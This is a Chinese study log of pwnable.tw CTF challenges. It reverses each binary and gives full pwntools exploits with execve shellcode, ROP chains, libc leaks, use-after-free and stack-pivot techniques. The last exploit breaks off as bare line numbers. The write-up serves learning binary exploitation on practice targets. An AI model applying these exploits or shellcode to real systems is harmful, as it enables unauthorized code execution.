前言

这是很久以前边做边记的学习记录
pwnable题目质量很高,值得认真学习和研究一下

0x01 Start

1
2
start: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped
//32位程序,静态编译

程序只有这几行汇编,加上注释方便理解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
push    esp
push offset _exit
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
push 3A465443h ;"CTF:"
push 20656874h ;"the "
push 20747261h ;"art "
push 74732073h ;"s st"
push 2774654Ch ;"Let'"
mov ecx, esp ; addr
mov dl, 14h ; len
mov bl, 1 ; fd
mov al, 4
int 80h ; sys_write
xor ebx, ebx
mov dl, 3Ch
mov al, 3
int 80h ; sys_read
add esp, 14h
retn

简单的系统调用,write和read
由于程序很简单,可以gdb动调理解逻辑 (很重要)
关键点在最后的add esp, 14h ; retn,通过读入数据可以覆盖到返回地址,并返回.text:08048087 mov ecx, esp ,这时执行sys_write,即可打印出esp的地址,然后继续写入shellcode覆盖返回地址,那么程序就可以执行你的shellcode

注意:shellcode可以查x86系统调用表来调用execve(‘/bin/sh’,0,0)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
#context.log_level = "debug"
p = process('./start')

payload = 'A'*0x14 + p32(0x8048087)#leak esp after +0x18
p.sendafter("Let's start the CTF:",payload)
esp = u32(p.recv(4))
print 'esp: '+hex(esp)
#gdb.attach(p)
shellcode='\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
#shellcode = asm('xor ecx,ecx;xor edx,edx;push edx;push 0x68732f6e;push 0x69622f2f ;mov ebx,esp;mov al,0xb;int 0x80')
#execve('/bin/sh',null,null)
payload = 'A'*0x14 + p32(esp+0x14) + shellcode #Jump to shellcode
p.send(payload)
p.interactive()

0x02 orw

经典之经典,shellcode必刷题

32位程序,开了沙盒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned int orw_seccomp()
{
__int16 v1; // [esp+4h] [ebp-84h]
char *v2; // [esp+8h] [ebp-80h]
char v3; // [esp+Ch] [ebp-7Ch]
unsigned int v4; // [esp+6Ch] [ebp-1Ch]

v4 = __readgsdword(0x14u);
qmemcpy(&v3, &unk_8048640, 0x60u);
v1 = 12;
v2 = &v3;
prctl(38, 1, 0, 0, 0);
prctl(22, 2, &v1);
return __readgsdword(0x14u) ^ v4;
}

禁用了execve(),所以无法使用onegadget
但是程序开了open(),read(),write()

程序很简单,在bss段输入shellcode并执行,那么方法就是利用orw

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn  import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
sh=remote('chall.pwnable.tw',10001)
#shellcode=asm(shellcraft.sh())
# I don't wanna be a tool boy
shellcode=""
shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; push 0x2f77726f; push 0x2f656d6f; push 0x682f2f2f; mov ebx,esp;xor edx,edx;int 0x80;')
#open(file,0,0)
shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;')
#read(3,file,0x30)
shellcode += asm('mov eax,0x4;mov bl,0x1;int 0x80;')
#write(1,file,0x30)
recv = sh.recvuntil(':')
sh.sendline(shellcode)
flag = sh.recv(100)
print flag

0x03 calc

一道值得深究的题目,能写的知识点太多,我择要点写一下
一个计算器程序,代码逻辑很繁琐,考察很强的逆向功底,需要静下心来慢慢分析
主要逻辑在于解析表达式的代码,贴上注释过的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
signed int __cdecl parse_expr(int buf, _DWORD *list)
{
int len; // ST2C_4
int count; // eax
int buf_start; // [esp+20h] [ebp-88h]
int i; // [esp+24h] [ebp-84h]
int v7; // [esp+28h] [ebp-80h]
char *ptr; // [esp+30h] [ebp-78h]
int v9; // [esp+34h] [ebp-74h]
char op[100]; // [esp+38h] [ebp-70h]
unsigned int v11; // [esp+9Ch] [ebp-Ch]

v11 = __readgsdword(0x14u);
buf_start = buf;
v7 = 0;
bzero(op, 0x64u);
for ( i = 0; ; ++i )
{
if ( (*(i + buf) - 48) > 9 ) // 保存操作符之前的数字
{
len = i + buf - buf_start;
ptr = malloc(len + 1);
memcpy(ptr, buf_start, len);
ptr[len] = 0;
if ( !strcmp(ptr, "0") )
{
puts("prevent division by zero");
fflush(stdout);
return 0;
}
v9 = atoi(ptr);
if ( v9 > 0 )
{
count = (*list)++; // list[0]存放数字个数
list[count + 1] = v9;
}
if ( *(i + buf) && (*(i + 1 + buf) - 48) > 9 )// 不允许连续有两个运算符
{
puts("expression error!");
fflush(stdout);
return 0;
}
buf_start = i + 1 + buf;
if ( op[v7] ) // 如果有前序运算符,进行运算符比较,然后计算
{
switch ( *(i + buf) ) //优先级操作
{
case '%':
case '*':
case '/':
if ( op[v7] != '+' && op[v7] != '-' )
{
eval(list, op[v7]);
op[v7] = *(i + buf);
}
else
{
op[++v7] = *(i + buf);
}
break;
case '+':
case '-':
eval(list, op[v7]);
op[v7] = *(i + buf);
break;
default:
eval(list, op[v7--]);
break;
}
}
else
{
op[v7] = *(i + buf); // 如果没有前序运算符,把当前运算符放入op数组中
}
if ( !*(i + buf) ) // 空字符结束
break;
}
}
while ( v7 >= 0 )
eval(list, op[v7--]);
return 1;
}

最后的运算是eval(),具体操作见代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
_DWORD *__cdecl eval(_DWORD *list, char op)
{
_DWORD *result; // eax

if ( op == '+' )
{
list[*list - 1] += list[*list];
}
else if ( op > '+' )
{
if ( op == '-' )
{
list[*list - 1] -= list[*list];
}
else if ( op == '/' )
{
list[*list - 1] /= list[*list];
}
}
else if ( op == '*' )
{
list[*list - 1] *= list[*list];
}
result = list;
--*list;
return result;
}

其中*list存放数字的个数,在eval中作为索引进行运算

其实程序越复杂,越难找到漏洞

程序看起来很自然,并没什么危险的操作,当我们输入1+2时,结构是这样的

1
2
list[2] = {2,1,2}
op[0] = {"+"}

执行list[*list - 1] += list[*list]时 ==> list[1] = list[1] + list[2] = 3

此时list[2] = {2,3,2}; 此时pirntf就是list[1]

但是,如果我们只输入+1,list[1] = {1,1},那么就会变成这样list[*list - 1] += list[*list] ==> list[0] = list[1] + list[0] = 1+1 =2;此时printf的结果就是list[0],(list[0]需要自减1)

由于缺少相关检查,所以会存在这种结果,如果+x时,就会输出list[x-1],当x超出result长度时即可读取到栈上其他的数据

测试如下,数组越界读

再考虑另一种情况+x+y

list[0] = x+1

list[x+1] = y

list[*list - 1] += list[*list] ==> list[x] = list[x] + list[x+1]

1
2
3
4
5
if ( v9 > 0 )
{
count = (*list)++; // list[0]存放数字个数
list[count + 1] = v9;
}

所以说通过这种操作可以进行数组越界写

例如:+361+1 ==> list[362] = 1;

原理图如上,系统调用execve函数来getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
context(os='linux',arch='i386',log_level='debug')
io = remote("chall.pwnable.tw",10100)

# /bin/sh and gadget
str_bin = 0x6e69622f
str_sh = 0x0068732f
pop_eax = 0x0805c34b
pop_edx_ecx_ebx = 0x080701d0
int_80 = 0x08049a21

# leak ebp
io.recv()
io.sendline("+360")
ebp = int(io.recv())-0x20
binsh_addr = ebp+8*4

# attack
ROP = [pop_eax,11,pop_edx_ecx_ebx,0,0,binsh_addr,int_80,str_bin,str_sh]
for i in range(361,370):
num = i - 361
io.sendline("+"+str(i))
tmp = int(io.recvline())
if tmp<ROP[num]:
io.sendline("+"+str(i)+"+"+str(ROP[num]-tmp))
else:
io.sendline("+"+str(i)+"-"+str(tmp-ROP[num]))
io.recvline()

io.sendline()
io.interactive()

0x04 3x17

静态编译的二进制文件,并且是去除符号表,使得程序可读性大大降低,看一下主函数

发现程序有很多系统调用,所以其实看汇编会更有助于理解,由于篇幅问题就不放汇编代码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 __fastcall sub_401B6D(__int64 a1, char *a2, __int64 a3)
{
__int64 result; // rax
int v4; // eax
char *v5; // ST08_8
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]

v7 = __readfsqword(0x28u); //canary
result = (unsigned __int8)++byte_4B9330;
if ( byte_4B9330 == 1 ) //输入条件判断
{
sub_446EC0(1u, "addr:", 5uLL); //sys_write_addr
sub_446E20(0, &buf, 0x18uLL); //sys_read
sub_40EE70((__int64)&buf); //将输入的字符串转换为对应的16进制
v5 = (char *)v4;
sub_446EC0(1u, "data:", 5uLL); //sys_write_addr
sub_446E20(0, v5, 0x18uLL); //sys_read
result = 0LL;
}
if ( __readfsqword(0x28u) != v7 )
sub_44A3E0();
return result;
}

其中sub_40EE70函数很复杂,没读懂,但是通过动调还是能够发现它的功能。

函数之前:

image-20201124163242159

运行过后:

image-20201124163309940

注意rax寄存器的变化,很容易发现它是将输入的字符串转化成整形变为16进制数

1
2
3
4
5
6
Python 2.7.12 (default, Oct  5 2020, 13:56:01) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print hex(123123)
0x1e0f3
>>>

所以程序逻辑很清楚了,就是向你输入的地址处进行写操作。目标就是通过地址任意写漏洞来getshll。

我们都知道__libc_start_main函数

__libc_start_main( main, argc, argv, __libc_csu_init, __libc_csu_fini, edx, top of stack)

init: main调用前的初始化工作
fini: main结束后的收尾工作
rtld_fini: 和动态加载有关的收尾工作

程序只能写一次地址,又由于是静态编译,可用函数很少,所以可以利用该函数进行条件绕过

这题__libc_csu_fini中有两个.fini_array,所以我们可以改.fini_array[1]为 main函数,.fini_array[0]改为__libc_csu_fini,这样就会无限运行main函数,就像这种结构:

1
main -->  __libc_csu_fini --> fini_array[1] --> fini_array[0]

当++byte_4B9330不断增大到一定值后会发生溢出再次变为1,所以我们就可以实现无限写地址。

这是start程序入口,下面作了注释,要注意64位程序传参

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
start           proc near 
; __unwind {
xor ebp, ebp
mov r9, rdx
pop rsi
mov rdx, rsp
and rsp, 0FFFFFFFFFFFFFFF0h
push rax
push rsp
mov r8, offset sub_402960 //__libc_csu_fini
mov rcx, offset loc_4028D0 //__libc_csu_init
mov rdi, offset sub_401B6D //main
db 67h
call sub_401EB0 //__libc_start_main
hlt
} // starts at 401A50

学习参考源码glibc/csu/elf-init.c

IDA里的__libc_csu_fini函数,可以看到call qword ptr [rbp+rbx*8+0]就是调用fini_array函数,

image-20201124174758392

当我们在call之后如果能执行leave_ret,那么之后在销毁栈帧的过程中,rsp会被变到0x4b100,即ret后就可以劫持ip寄存器到这,那么就可以在这里构造rop,从而getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
elf = ELF('./3x17')
#io = remote("chall.pwnable.tw",10105)
io = elf.process()

syscall = 0x471db5 #syscall
pop_rax = 0x41e4af
pop_rdx = 0x446e35
pop_rsi = 0x406c30
pop_rdi = 0x401696
bin_sh = 0x4B41a0
fini_array = 0x4B40F0
main_addr = 0x401B6D
libc_csu_fini = 0x402960
leave_ret = 0x401C4B

esp = 0x4B4100

def write_addr(addr,data):
io.recv()
io.send(str(addr))
io.recv()
io.send(data)

write_addr(fini_array,p64(libc_csu_fini) + p64(main_addr)) # 0 , 1
#execve('/bin/sh',0,0)
write_addr(bin_sh,"/bin/sh\x00")
write_addr(esp,p64(pop_rax))
write_addr(esp+8,p64(0x3b))
write_addr(esp+16,p64(pop_rdi))
write_addr(esp+24,p64(bin_sh))
write_addr(esp+32,p64(pop_rdx))
write_addr(esp+40,p64(0))
write_addr(esp+48,p64(pop_rsi))
write_addr(esp+56,p64(0))
write_addr(esp+64,p64(syscall))
write_addr(fini_array,p64(leave_ret))

io.interactive()

0x05 dubblesort

32位程序,保护全开

本题的考点很新奇,值得好好研究一下

这是冒泡排序的逻辑,每次循环将最大值放在数组的最后,然后按序输出

但是由于arry数组并没有检查边界,所以可以构造足够多的数,造成栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int __cdecl dubblesort(unsigned int *arry, int len)
{
unsigned int v2; // edx
int v3; // ecx
unsigned int *i; // edi
unsigned int v5; // esi
unsigned int *v6; // eax
unsigned int result; // eax
unsigned int v8; // et1
unsigned int v9; // [esp+1Ch] [ebp-20h]

v9 = __readgsdword(0x14u);
puts("Processing......");
sleep(1u);
if ( len != 1 )
{
v3 = len - 2;
for ( i = &arry[len - 1]; ; --i )
{
if ( v3 != -1 )
{
v6 = arry;
do
{
v2 = *v6;
v5 = v6[1];
if ( *v6 > v5 )
{
*v6 = v5;
v6[1] = v2;
}
++v6;
}
while ( i != v6 );
if ( !v3 )
break;
}
--v3;
}
}
v8 = __readgsdword(0x14u); //canary
result = v8 ^ v9;
if ( v8 != v9 )
sub_BA0(v3, v2);
return result;
}

漏洞点在read时末尾未添加\x00截断,导致printf可以泄露出libc基址

1
2
3
4
5
init();
__printf_chk(1, (int)"What your name :");
read(0, &name, 0x40u);
__printf_chk(1, (int)"Hello %s,How many numbers do you what to sort :");
__isoc99_scanf((int)"%u", (int)&count);

之后的scanf处就可以进行栈溢出了

而本题难点在于如何绕过canary,由于数组越界,根据你的输入,在排序之后canary也会发生相应改变,为了保证canary的值和位置不发生变化,必须要保证我们的输入有效且合法,

scanf函数接收的数据格式为无符号整型(%u),有没有什么字符可以既让scanf认为它是合法字符,同时又不会修改栈上的数据呢?查阅资料后,发现“+”和“-”可以达到此目的,所以在canary处输入“+”或“-”即可绕过

# 如果不知道无符号整型在内存中的存储形式,可以自己写段代码调试一下

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
int main()
{
int s[10];
for(int i =0;i<10;i++){
scanf("%u",&s[i]);
printf("%u\n",s[i]);
}
return 0;
}

那么思路很清晰了,其余的工作就是找偏移了,通过gdb动调即可解决

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
# p = remote('chall.pwnable.tw',10101)
# p = process('./dubblesort')
p = process("./dubblesort")
# libc = ELF('./libc_32.so.6')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

payload = "a"*24
p.recvuntil(":")
p.sendline(payload)
libc_addr = u32(p.recv()[30:34])-0xa
libcbase_addr = libc_addr - 0x1b0000 #remote
# libcbase_addr = libc_addr - 0x1b3000 #local
# gdb.attach(p)
sys = libcbase_addr + libc.symbols['system']
binsh = libcbase_addr + libc.search('/bin/sh').next()
p.sendline('35')
p.recv()
for i in range(24):
p.sendline(str(i))
p.recv()
p.sendline('+')
p.recv()
for i in range(9):
p.sendline(str(sys))
p.recv()
p.sendline(str(binsh))
p.recv()
p.interactive()

0x06 hacknote

32位堆,漏洞点在于delete函数存在uaf

1
2
3
4
5
6
if ( ptr[v1] )
{
free(*(ptr[v1] + 1));
free(ptr[v1]);
puts("Success");
}

而ptr[0]存放函数指针(puts),所以思路是利用uaf将puts的指针改为system函数的地址

难点在于本地和靶机的libc版本存在差异,需要动调来找偏移

写两种利用方法

exp1

通过unsortedbin来泄露main_arena,从而泄露出libc基址

然后通过申请0x8大小的堆块来修改ptr指针,然而通过测试onegadget打不通,所以改为system

由于限制四个字节,且需要主要system参数截断,所以可选择||; + sh$0都可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
# context.log_level='debug'
elf=ELF("./hacknote")
libc = ELF('libc-2.23.so')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# r = elf.process()
r = remote('chall.pwnable.tw',10102)
# onegadget = [0x3ac6c,0x3ac6e,0x3ac72,0x3ac79,0x5fbd5,0x5fbd6]
onegadget = [0x3a819,0x5f065,0x5f066]
def add(size,content):
r.recvuntil("Your choice :")
r.sendline('1')
r.recvuntil("Note size :")
r.sendline(str(size))
r.recvuntil("Content :")
r.send(content)

def delete(idx):
r.recvuntil("Your choice :")
r.sendline('2')
r.recvuntil("Index :")
r.sendline(str(idx))

def show(idx):
r.recvuntil("Your choice :")
r.sendline('3')
r.recvuntil("Index :")
r.sendline(str(idx))

add(0x18,'aaa')
add(0x90,'ccc')
add(0x18,'ddd')
delete(1)
add(0x90,'aaaa')
show(1)

r.recvuntil('a'*4)
libc_base = u32(r.recvline().strip('\n')) - 0x1b07b0
# print hex(48 + 0x18 + libc.sym['__malloc_hook'])
info(hex(libc_base))
# gdb.attach(r)
# print hex(libc.sym['__malloc_hook'])
rce = libc_base + onegadget[1]
sys = libc_base + libc.sym['system']
delete(0)
delete(1)
add(8,p32(sys)+";sh\x00")
# add(8,p32(rce))
show(0)
r.interactive()

exp2

思路是将ptr改为printf打印出puts_got,之后同样的方法改为system即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
# p = remote('chall.pwnable.tw',10102)
p = process('./hacknote')

libc_elf = ELF('/lib/i386-linux-gnu/libc.so.6')

def add_note(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Note size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.sendline(content)

def free_note(index):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))

def print_note(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))

libc_puts_addr = libc_elf.symbols['puts']
libc_sys_addr = libc_elf.symbols['system']
puts_got_addr = 0x0804A024
print_content = 0x0804862B

add_note(32,"a"*32)
add_note(32,"b"*32)
free_note(0)
free_note(1)
add_note(8,p32(print_content)+p32(puts_got_addr))
print_note(0)
leak_puts_addr = u32(p.recv(4))
print leak_puts_addr
libcbase_addr = leak_puts_addr - libc_puts_addr
system_addr = libcbase_addr + libc_sys_addr

free_note(2)
add_note(8,flat([system_addr,"||sh"]))
print_note(0)
p.interactive()

0x07 Silver Bullet

很有意思的题目

image-20201215161015680

类似一个游戏,如果你的输入长度大于0x7fffffff,就可以杀死狼人

关键函数在于power up中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __cdecl power_up(char *dest)
{
char s; // [esp+0h] [ebp-34h]
size_t v3; // [esp+30h] [ebp-4h]

v3 = 0;
memset(&s, 0, 0x30u);
if ( !*dest )
return puts("You need create the bullet first !");
if ( *((_DWORD *)dest + 12) > 0x2Fu )
return puts("You can't power up any more !");
printf("Give me your another description of bullet :");
read_input(&s, 0x30 - *((_DWORD *)dest + 12)); //限制输入长度
strncat(dest, &s, 0x30 - *((_DWORD *)dest + 12));
v3 = strlen(&s) + *((_DWORD *)dest + 12);
printf("Your new power is : %u\n", v3);
*((_DWORD *)dest + 12) = v3; //漏洞点
return puts("Enjoy it !");
}

看样子程序会很严格的限制你的输入长度,不会让你的输入超出缓冲区,

但是有个致命错误在于v3(存放字节长度的变量)也会随之更新,并且没有限制power up的使用次数

所以比方说,我们先申请了40个字,然后power up了8个,那么现在的新长度就被更新到8

根据上面的程序可知,我们又有了0x30 - 8的输入空间,就可以造成栈溢出了

第一次溢出用ROP泄露libc

第二次覆盖返回地址位system即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
elf = ELF('./silver_bullet')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc = ELF('libc_32.so.6')
# p = elf.process()
p = remote('chall.pwnable.tw', 10103)
# context.log_level = 'debug'
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']

def add(con):
p.sendlineafter("Your choice :",'1')
p.sendlineafter("Give me your description of bullet :",str(con))

def edit(con):
p.sendlineafter("Your choice :",'2')
p.sendlineafter("Give me your another description of bullet :",str(con))

def beat():
p.sendlineafter("Your choice :",'3')

def quit0():
p.sendlineafter("Your choice :",'4')

add('a'*46)
edit('b'*2)
edit('\xff'*7 + p32(puts_plt)+p32(0x8048954)+p32(puts_got))

beat()
p.recvuntil('You win !!\n')
libc_base = u32(p.recv(4)) - libc.sym['puts']
info(hex(libc_base))
libc.address = libc_base

system = libc.sym['system']
str_sh = libc.search('/bin/sh').next()
info(hex(system))
add('a'*46)
edit('b'*2)
edit('\xff'*7 + p32(system)+p32(0x8048954)+p32(str_sh) )
beat()
p.interactive()

0x08 applestore

一道题想了整整一天,只能说思路真的很新奇,利用方法很巧妙

一个32位程序,买ipone然后加入购物车,还有计算账单和结账的功能

但是在IDA中的程序很奇怪,不太好分析,经过一顿动调之后才发现,是一个双向链表结构管理的

然后就开始一段漫长的改程序之旅,修改后的结构体如下:

1
2
3
4
5
6
00000000 phone           struc ; (sizeof=0x10, mappedto_5)
00000000 name dd ?
00000004 price dd ?
00000008 bk dd ?
0000000C fd dd ?
00000010 phone ends

修改代码之后可读性好了很多

插入函数:

1
2
3
4
5
6
7
8
9
10
11
12
phone *__cdecl insert(phone *a1)
{
phone *result; // eax
phone *i; // [esp+Ch] [ebp-4h]

for ( i = (phone *)&myCart; i->bk; i = (phone *)i->bk )
;
i->bk = (int)a1;
result = a1;
a1->fd = (int)i;
return result;
}

很明显它会一直遍历,将新节点加入链表的末尾

再看一下删除函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned int delete()
{
signed int v1; // [esp+10h] [ebp-38h]
phone *v2; // [esp+14h] [ebp-34h]
int idx; // [esp+18h] [ebp-30h]
phone *BK; // [esp+1Ch] [ebp-2Ch]
phone *FD; // [esp+20h] [ebp-28h]
char nptr; // [esp+26h] [ebp-22h]
unsigned int v7; // [esp+3Ch] [ebp-Ch]

v7 = __readgsdword(0x14u);
v1 = 1;
v2 = (phone *)dword_804B070;
printf("Item Number> ");
fflush(stdout);
my_read(&nptr, 0x15u);
idx = atoi(&nptr);
while ( v2 )
{
if ( v1 == idx )
{
BK = (phone *)v2->bk;
FD = (phone *)v2->fd;
if ( FD )
FD->bk = (int)BK;
if ( BK )
BK->fd = (int)FD;
printf("Remove %d:%s from your shopping cart.\n", v1, v2->name);
return __readgsdword(0x14u) ^ v7;
}
++v1;
v2 = (phone *)v2->bk;
}
return __readgsdword(0x14u) ^ v7;
}

这里的逻辑就是常规的双向链表删除节点的操作,可以考虑进行类似unlink的利用

再看一下cart函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int cart()
{
signed int v0; // eax
signed int v2; // [esp+18h] [ebp-30h]
int total_price; // [esp+1Ch] [ebp-2Ch]
phone *i; // [esp+20h] [ebp-28h]
char buf; // [esp+26h] [ebp-22h]
unsigned int v6; // [esp+3Ch] [ebp-Ch]

v6 = __readgsdword(0x14u);
v2 = 1;
total_price = 0;
printf("Let me check your cart. ok? (y/n) > ");
fflush(stdout);
my_read(&buf, 0x15u);
if ( buf == 'y' )
{
puts("==== Cart ====");
for ( i = (phone *)dword_804B070; i; i = (phone *)i->bk )
{
v0 = v2++;
printf("%d: %s - $%d\n", v0, i->name, i->price);
total_price += i->price;
}
}
return total_price;
}

功能是将链表上的iphone名字和价格打印出来,并返回总价格

关键点在于checkout的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned int checkout()
{
int v1; // [esp+10h] [ebp-28h]
char *v2; // [esp+18h] [ebp-20h]
int v3; // [esp+1Ch] [ebp-1Ch]
unsigned int v4; // [esp+2Ch] [ebp-Ch]

v4 = __readgsdword(0x14u);
v1 = cart();
if ( v1 == 7174 )
{
puts("*: iPhone 8 - $1");
asprintf(&v2, "%s", "iPhone 8");
v3 = 1;
insert((phone *)&v2);
v1 = 7175;
}
printf("Total: $%d\n", v1);
puts("Want to checkout? Maybe next time!");
return __readgsdword(0x14u) ^ v4;
}

有一个彩蛋,如果购买的iphone总价格是7174元,那么就会将iphone8加入到链表末尾(1块钱就能买到iphone8!)

这里有个知识点是asprintf函数,这是一个增强版的sprintf函数,为了避免缓冲区溢出,它可以动态分配内存空间,相当于malloc()

这里会将把v2添加到链表末尾,重点是v2还是一个栈地址,那么我们能够控制它吗?

答案是可以的,我们可以看到cart函数的栈帧和checkout函数基本一样,cart函数的read()正好可以修改到这个位置,如果我们将v2改成某个函数的got表,那么通过cart函数就可以泄露出libc基址

所以思路有了,下一步就是要做到正确触发彩蛋,很简单写个脚本爆破一下

1
2
3
4
5
6
7
8
9
10
for i in range(36):
for j in range(23):
for k in range(14):
for m in range(17):
for n in range(36):
if(199*i+299*j+499*k+399*m+199*n == 7174):
print "1:"+str(i)+" "+"2:"+str(j)+" "+"3:"+str(k)+" "+"4:"+str(m)+" "+"5:"+str(n)


#1:6 2:20 3:0 4:0 5:0

所以只要买6个(1)和20个(2)就正好是7174元

现在libc基址有了,就该考虑如何利用了

整道题的核心就是控制ebp

利用的就是delete函数

image-20201217154252205

如果我们能将栈迁移到atoi的got表处,那么我们就可以对got表进行改写

所以我们还需要想办法泄露栈的地址

在libc中保存了一个函数叫_environ,存的是当前进程的环境变量

通过_environ的地址得到_environ的值,从而得到环境变量地址,环境变量保存在栈中,所以通过栈内的偏移量,可以访问栈中任意变量

利用和之前相同的方法,把栈地址泄露出来 可得偏移为0x104

然后构造payload可以修改最后一个节点的结构体

payload = '27' + p32(0) + p32(0)+p32(got_atoi + 0x22) + p32(stack - 0x8)

通过FD->bk = (int)BK就可以将ebp修改为got_atoi + 0x22,为什么要加0x22呢

因为handle函数里read的buf地址为[ebp-0x22],所以这样我们就可以修改atoi的got表了

最后的最后,还要注意,在发生了read之后才会进入atoi,所以我们输入的system_addr的地址也会就进入到system函数中。不过有了hacknote的教训,我们知道,只需要加入一个;或者||就能够截断之前的字符串,于是我们可以发送: p32(system_addr)+";/bin/sh"

综上,就可以完成这次攻击

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *
# context(arch='i386', os='linux', log_level='debug')
elf = ELF("./applestore")
libc = ELF("libc_32.so.6")
# libc = ELF("/lib/i386-linux-gnu/libc.so.6")
# p = elf.process()
p = remote('chall.pwnable.tw', 10104)

def add(idx):
p.sendlineafter("> ", str(2))
p.sendlineafter("Device Number> ", str(idx))

def delete(idx):
p.sendlineafter("> ", str(3))
p.sendlineafter("Item Number> ", idx)

def cart(con):
p.sendlineafter("> ", str(4))
p.sendlineafter("Let me check your cart. ok? (y/n) > ", con)

def checkout(con):
p.sendlineafter("> ", str(5))
p.sendlineafter("Let me check your cart. ok? (y/n) > ", con)

atoi_got = elf.got['atoi']
info("atoi_got:" + hex(atoi_got))

for i in range(6):
add(1)

for i in range(20):
add(2)
checkout('y')

payload = 'y\x00' + p32(atoi_got) + p32(0) + p32(0)
cart(payload)

p.recvuntil("27: ")
libc_base = u32(p.recv(4)) - libc.symbols['atoi']
libc.address = libc_base
system = libc.symbols['system']
environ = libc.symbols['environ']
info("environ:" + hex(environ))
info("libc_base:" + hex(libc_base))
info("system:" + hex(system))

payload = 'y\x00' + p32(environ) + p32(0) + p32(0)
cart(payload)
p.recvuntil("27: ")
ebp = u32(p.recv(4)) - 0x104
info("ebp_addr:" + hex(ebp))

payload = '27' + p32(0) + p32(0) + p32(atoi_got + 0x22) + p32(ebp - 0x8)
# gdb.attach(p)
delete(payload)
p.sendlineafter("> ", p32(system) + ";\bin\sh")

p.interactive()

0x09 Re-alloc

I want to realloc my life :)

修改ELF文件头,改变动态加载器、libc以及符号表为libc2.29版本

关于realloc函数,根据size的不同可以有多种功能

  1. ptr == 0: malloc(size)
  2. ptr != 0 && size == 0: free(ptr)
  3. ptr != 0 && size == old_size: edit(ptr)
  4. ptr != 0 && size < old_size: edit(ptr) and free(remainder)
  5. ptr != 0 && size > old_size: new_ptr = malloc(size); strcpy(new_ptr, ptr); free(ptr); return new_ptr;

所以利用思路是:

  • 利用uaf在tcache不同size的链表中放置一个atoll_got的chunk
  • 利用其中一个指向atoll_got的chunk更改atoll_gotprintf_plt,这样在调用atoll时,就会调用printf从而构造出一个格式化字符串漏洞,利用这个漏洞可以leak出栈上的libc地址,这里选择leak__libc_start_main
  • 利用另一个指向atoll_got的chunk将atoll_got再改成system,注意因为此时atollprintf,所以在调用alloc时,需要输入的Index和Size不是直接输入数字,而是通过输入的string的长度来通过printf返回的值间接传给Index和Size。
  • 最后再输入/bin/sh\x00调用atoll来执行system("/bin/sh");getshell即可。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
